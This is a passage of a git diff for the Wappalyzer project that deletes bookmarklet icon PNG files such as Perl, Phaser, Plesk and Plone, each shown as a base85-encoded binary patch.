zU}-c>b?J19vYfOw%3ND>Yfh)4PW9?Jk03KQXghH8yqx>~o$J1CI4u8Cyz+!#WMS`v zPxv=(^ovl|u1BMy6X(T!sN%h&cl+B6;Oe9clk@RPR-@AUVaweitQD7ggxKAxMg5x& z9ObHT_N4@;MN$G%&{h1o&&#UjSrh94PQK_tHBXMKG69Y~{YVN1a7#4~nL~yezJ@@} zU{&#~SP!tXMTcvOXJ}G8k=G zZuYBD`&^p`G|0bTd^QU9;3UjbAq1C`82Pb8kapaQ+Nq&^r&`?|aI$YP~_A_!e h66apI{4?ZN@E4;X(VfG;=n?<`002ovPDHLkV1l8qEE@m- diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Perl.png b/Wappalyzer/drivers/bookmarklet/images/icons/Perl.png deleted file mode 100644 index f903e4b5877873459c0974ae8867829f69f1a734..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2241 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Phaser.png b/Wappalyzer/drivers/bookmarklet/images/icons/Phaser.png deleted file mode 100644 index 69783afd72ce83b5d71d910c8c52434208355e32..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 329 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabR7dy>H$6>u0R?HG8wj%+nrsWar(^k z|Id&92Z7zT_v(1d%9EPS%=T`XQl@1$4XBQ>B*-tA!Qt7BG$7}Kr;B4q#jU-Qy!j3* z@VI<5UwHQK`Dke#MU$noS1s1jIiK8<6!dHBhuQmU6$7p_baAa?E|E-R+|{M=uZiQo zaHED0r&7mzv(p;$CY)S%BK6lyyE8lIgflUGs#|}Khdbbe-i3v)1U(i_DWCpTQR}qA z8)1=ewjDB4T|clmEcPm7eZn?@G2x^2lWFf<)gJOq5WI0G;liJ?lPqtJ6i@lh^VXh0 z^wABu=)ZlBg4ufvIFlGU9`Q;{3*`7FyXgJY^!ptSr{ubMKX*5r3MhT}?W|+)uk~?j WH8{0G{~3Y;gu&C*&t;ucLK6V;aEWmM diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Piano Solo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Piano Solo.png deleted file mode 100644 index 8123857eca1d0e2db8d705ffb8d15422a82f7c39..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1684 zcmV;F25b3=P)xDzV@p zfk?{+i3K}W2q~1(6#|I`eIhm$DFMWzNh_+BC=}wnitFa#N9s87_4R#y=ghFU*KN{( z8Z}NvI?|`3BhAcz{xkpigswgIYIV4!Jl2Z#NHj(aoEauupBW$m0(fC6^YVPbvG1q% zRi>bG&vy(`x z-hVe~=5bH88E{CdksEFXI7q8aqfuf{5~7ZTXow)($lR|4Ld=X1bvRK~ry6l0n0+wT zE6HG&QR@2KgPNf#Bo@?6730eMML@bibzwsQvz6h90Tz@bnxavW%L<^XcnsHGVnbQz zD>$ZWf%AEarbQ4zEMl42D1OuW*2BpDQKT+nQvb>RN&!_q$V+N<}KEvG>!rGVyMW1LHGn8r;aEcU3rcA;$?Hih==|7sfBN zn5=ueb6AWW4ulXXrOKMJ=g8CowOnY$$n-*;-%r#T7)Yru*4WsevSqlB1LM=2yVPLU z?W_6J`q-)KRT6l0_N$5sPam1(?GsI6lA$q@Xw*&@#7H|Rd5D-sLT&_Ac8>~$LW@iT&&fZoLl5;&z_{e(o3#JRwyyj ztnF_JjP*_!hFKj+vZu;cDA zPS4Ks`P&P$%@`;;wryO?P+yTh9i3(WsXFQl#263}6i9LWW&T#y9ox)XtwE+j3&F_o z6w4sa5kro4eOipj=bk#0ADw9=P6Tm6y_qvsR<^G%v3az@hM_X47i!JGiK!}YoT>5m zGcBSo;^b z%R|Kj{&K}r#q`?uCi_3%NLLFwbD%R2u6lGM7qaEyq;VMm#ctw8xICIol>{?PmrGzb zYbWjaG9&R~Q=&SiojbW%{>2b4HtkA@JX#Z=K7bUM1DsVw)RiXH7X0u9KAtQ za030slnq0r+L}uC;BWUnaPYmFfBC6D3@U%kb20KBI*I0000P#4u{Xs0BmYg1h1V->+Z&_vg=l4Djp4^G^r%J}%9>qOC~21wZcG`cDXaJ%9Fw zy&0Jn{3j0ld~olYsWzn+{C@l9=c9)Z^!xQIG&^3;n@On!px{Q1o`?WoG{9y5eEM`% zPlcKm0MX;pd}IZ{6hUPR?gY3aD|nC^OJxh5HP<35xa03mH4Cm9s68nw`1|DxauT?z zqeQD@3Is2D+G&^%z8pJ@%lQ;r@b~ZA6-%z_t5P8+|9t%D+m%aj^!ebvS2L&F_I0JG zu*081vjbPuk&7VD{$Qd>2^gftWBI+Fyt3xbG#K_CTP77#>1V0S@Xb!7qF2n7gQ z0Y)Neskvgd>8|eXFz#Vo-JPA8FTg4!sj%+{JiOm~PypdSt_VP6Zwy6IwgJ~}JjUlO zrr~fk-QCA%ZmvgFm4AZ(a_{MT_WOM#6FSSGCG1R^{<9tQ_I9GG>K_%T0OB}^T7={C zQ{C1^{plWFPDZ#o@Q{@i?e7XkreowRA(7fbK`1X4{N8;OsW3hMfxa^x1cQfmRiFSe zwWQ-O_2Mp47@b&TG88A4+$5Gr(opN?h)=k1u9IM}Zg+rXJA@NiCg$UW;~BzhDZYf) zNTxTiZHI$_Qp(aAgLke_Sy{1*2Lgd|52soJoNTNh;Bm060zYzyY6eE>0qzez|1EL_ zka*f;b$yc;uV;vA8S1ObInh#sku@0_`AF!ij@z}53e({3_4Bm1H|>03A-2VpEwInW8=2v};5>u2uk4fYI?e^yCJP2!dc)HU-NjpEL1zy|_GX%!19cu@J2-b%et) z002~g<*0_^2qJ?xm{A$Pt0M^nDEhE*^ZfGDPv9|1DDO7 rkA68i7cMeP*uT)CT-uu1mVsf5>Fz79EVQhEZes9s^>bP0l+XkKX4*sz diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Plesk.png b/Wappalyzer/drivers/bookmarklet/images/icons/Plesk.png deleted file mode 100644 index d668ab84855a9f11d04972356ab49e129debf23b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 724 zcmV;_0xSKAP)Ysc1sV91edV2v#^O8}Vkz@sH>zn-c`_&a- zFZa>!et7oA)bv#E$U={1!zUW0fWw%YJkMEPzRfTm<9Wg)dSRj0d;Zx)05-OVU(p7>BBXk_6+}Vs!N*In3rh^#@>(j07^4RWO3{HMZ`rc>sW5EHXgVZ{tDHK-F zS)S96M%p@xo0|WzxLfLCuZra{DbN4Cuj)*IG_e< z2L|EW^V|PIQi0`h)TAD+`-hUT)r@Em`w% ztKX4vf`2*T1DxV*y2>;>7C)WhRx9+w$}iEf@@<^u;~BDzRlM30`XPdKjKUTzGS>0y z8vU9tK0^c-SiuYai&2aa!3A@{1T8X7k~^6u(|Arw-JqA$n^8pY8)M@sS7fY{{rr~2 zqc6CJuW2@i=tdMWn0b$DmW~u|^#@YvbfeTTB0tGBa_>Iw{xK`Nx40ytNv!A$vlQZl zQ%w6BU8VP5;qHzD;O#ud`tS?u{ZGv87&H9HLczfIH9E@G?vYZXq}5%VN}hB%g^Uvn g%vNJqJCEq$FY?N02SBQs;s5{u07*qoM6N<$f==4W1ONa4 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Plone.png b/Wappalyzer/drivers/bookmarklet/images/icons/Plone.png deleted file mode 100644 index 30e4f7f6c39df1cd2d6bb2ec2b0838c6568c76c4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 188 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`&7LlfAr-fh6Ef}{Z)g*4sIV9K z?|%6A!lD(gF0!0UzSxp?qcVnVPrKHR{;O&oH)>bR`u>9LKu%o$62>&^U5>v4W0*`O z(~Ng5`ftJ0xKo8OvXF_BP36GT2_i|wuj*`SI_zw=83+_ytXn1JFi~8C&!uazprztl lb#=u+Rn1^kHp>jzQub1&0lY9g=VGs7_G_`c?V z^e@S?adg)?$s#5-&_~EsdX~%!+EscV*+x!DC(R)Jd63+V36&x{Wx7oeMMY$|13Ls# z>7>~@r~Q~50Q_ryJYj9ayiAwW4gnX801Fu_H1PRR$MmZvi7=oKxT|%#Ri<0{(*;0!xrQC4_0DnaSJ)F?vlK#-HQcrQoTdg z#C!B5bxv}HzKLJS+i`T)_vA5wGUXnbX5=TyCN0So?H;jJ{YU`)V!-`k!l+^BKCxLW zU=*YFX6+4L{3YqR_G=T={3Xfr>d4@M&a97+I_orNo>PWoCdLI o$`P@uJ%|e+o>y;3&WXeS1NOBJd-8{L?EnA(07*qoM6N<$f@~xk3;+NC diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Po.st.png b/Wappalyzer/drivers/bookmarklet/images/icons/Po.st.png deleted file mode 100644 index 8679c872da8dfa7e268a48b558463a769ec6bb83..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 653 zcmV;80&@L{P)C2D76sp+u{}0Jn{(t?>YyYp`e)a$K#V7we zryu@r=s686pIy6U70?haxB>YMTbCi*RNA`Z|F`eI{)51$&p-bE{{0us26_Qz$lsn> zM_Ry|kDPw!g6wRki246NfBE_U-G^`g(Hn>JZ~lMy`2D|;7bGyPgJwTsz!qIV|NXym^X30PfByal zrh)%vz%W?0;Ud_;)myK?)maA2dJOWyb94jp8@B!b`}ZH%$qUw;|Nj9P4j^w`14b#x zFqk@^H;*vn)@@mVmRSB@z4a0tjef~X|4(0h>i>mn&;L(eZ~`0~$ZElXciQx9+?7A6JT0Mnt0~I4xvVZC(SDShn#JIOKg2m*6#^bK2n!cuIWr=8Hr? z%F>e{36L{=la_!(9+zflQbx@WAVWYd!IzmpIkT>J@03qpe(>PTm7t^zN}Zr6f@ZA0 nP7(8NS9k56dG5+H3v~4WU~ecTed<>K%^AfA~ptMv=uO=(Pp!G z*$7FyO$)IW)2JW_L1j?ptmP$o5jjjFzLV62C@JA7 zkyoX+s+O~}@!i9L%a-n4;ET_=A>fz?8ZGc1L;wM6IRN~f48QyNPoiWWse^h9N`VHv zXYz*eb52+x_QY=1g?os>x2PlwVYGHH8QS`9{5lp%s*B02?h&6*GEBc3Yd{JI%BN?moQ(hv*~?B z|Nad{uFq7)Pk-l6E4w%07_d>4CNUM9b%+SSKLp0;?YICAs3Z|xE&xBKgJ*$1M6soR zMaZ^~tidD>?^&aj90yPj?wKADQ3u;WsT|&=q^61vXh)6#2^llnpZcsqcDF-bG?7ba zSp!M~{vchF)E!x@#@w@YHS5>)NxhLE0)dt%UO0PsOMthpcqp($1e-KS;=b2{T<-hy z;NhDN-~G-)(xjlnGXj648~k+RhQaS{`QXsw)mj29Z!ffxmxHJ|SMc60Ejc0zM7S|^ zF@Epn-DEv*{_{`29TYxX)FG*N%LSbGb1i2NZ7dFv)&6_aiY!rV5TRRMiBfyLPrY*q z?I1d!Rlh-_GWGD)-@W`0U3Q({GhDUinc1XC>KwM6v=d7p>IhIFKj-$-mFfajhbZ%a|4Ld0Eo^% zx#r4CFC^YR9Y}zPf_99z)KbG8x&9v-Z+}ikbl*n@ly}R;l!nB5Qme@4^a*3k&FnCG zW&Yoneib#QF-e&?x`~Ny5Jz*X>-D$aoHO-LSFB+njXJ5MG1uctvXHjM=%H4fort6Q z+NfEjI|~a7ZviKJ&VokeUxyI?dYaY{prvvQxjF7E|8~>gbbt;6jJF72oMm-b9Pc%r zzp!P~RyX_4C;JCWXcgd`Wl8Kg%nXWP%4-NNRkL0geV;>%?c>!!~+XLsr##KcXEiBKw_135&7A`51`3dbFuk2n58-WehZQ79H|M8g?| zbnyako{UqYqy5&VXQb=88Ao+I4v^!(RWcO4J-;=Yy0|&IPAwcL2SPcgRM~nLH*6BE z3X5N-2kY!!@7*vW^T51PdOl4fOx(PxRB)0W0^Zpu@80Q7-UY=irntp!7x)jxtHvkD SyL%A;0000;M1%|GYnvnjD*+99Ec{ zP+6AOSXbEDS`i-`>g(;2nVyiHnUIr}lAoLA=i?mc@9FAno0JfBc<0O`yJj8TJ?Gfo zd1sC+Id^2~`J>A&99!n$?hqR6TacgOl9^Tmv1 zYcA?9@twI=UcWAb`0p4%*I`YZmLz4*VlR~)%%i)H+Qb})Fl`njxg HN@xNAC%$X% diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Powergap.png b/Wappalyzer/drivers/bookmarklet/images/icons/Powergap.png deleted file mode 100644 index a44725ac5b4b40394a1ab46861a7ed12accf8766..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 668 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 g$ZPfW^*Mn50NzYew5cT+~HqLBT;O zadNS=ARQcvU?^HLNWl(P3>5rGYFc|~9tSTrl~dyn-s$=J|DWg8*gyjmpjn{VHWUFH zNQ@yZc@6(*Gz(gSDszI+_%qa{>X)-)-|7z%Ul+|%2^Ek_vw^fI(3o$A!aE>jp`u&O z7|H~aNyMK{OWmes24G;Kb6+~SE!!CpqZgt;1Vr%{6cEC)BNSxIhpX(98ytOno^8xa zG)Vq$NHamJWI5vvGvQ@;x-!he_YS>?{HwuFRxY!v;V`-EF!1Ucd)9J{uVuJf&Jz!m zE#gZPG+a^jFo)Nn-jR|giCePtZkbVFzpBy`?AsUS9wWrdY^3JVy{^!iszxcImn+m8 zf_(B&fi}eVo=y|OE$FiY9Pu39%$y_1Vx{}@5O-=>9^D(HD|mH+_R9u9-)QWk&5-9X zvzlXSHN(X7G>4d8FxpxouB*tGftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Pure CSS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Pure CSS.png deleted file mode 100644 index 862c2d385acbbd52ab18ccf7a98f20c52cd687f0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 459 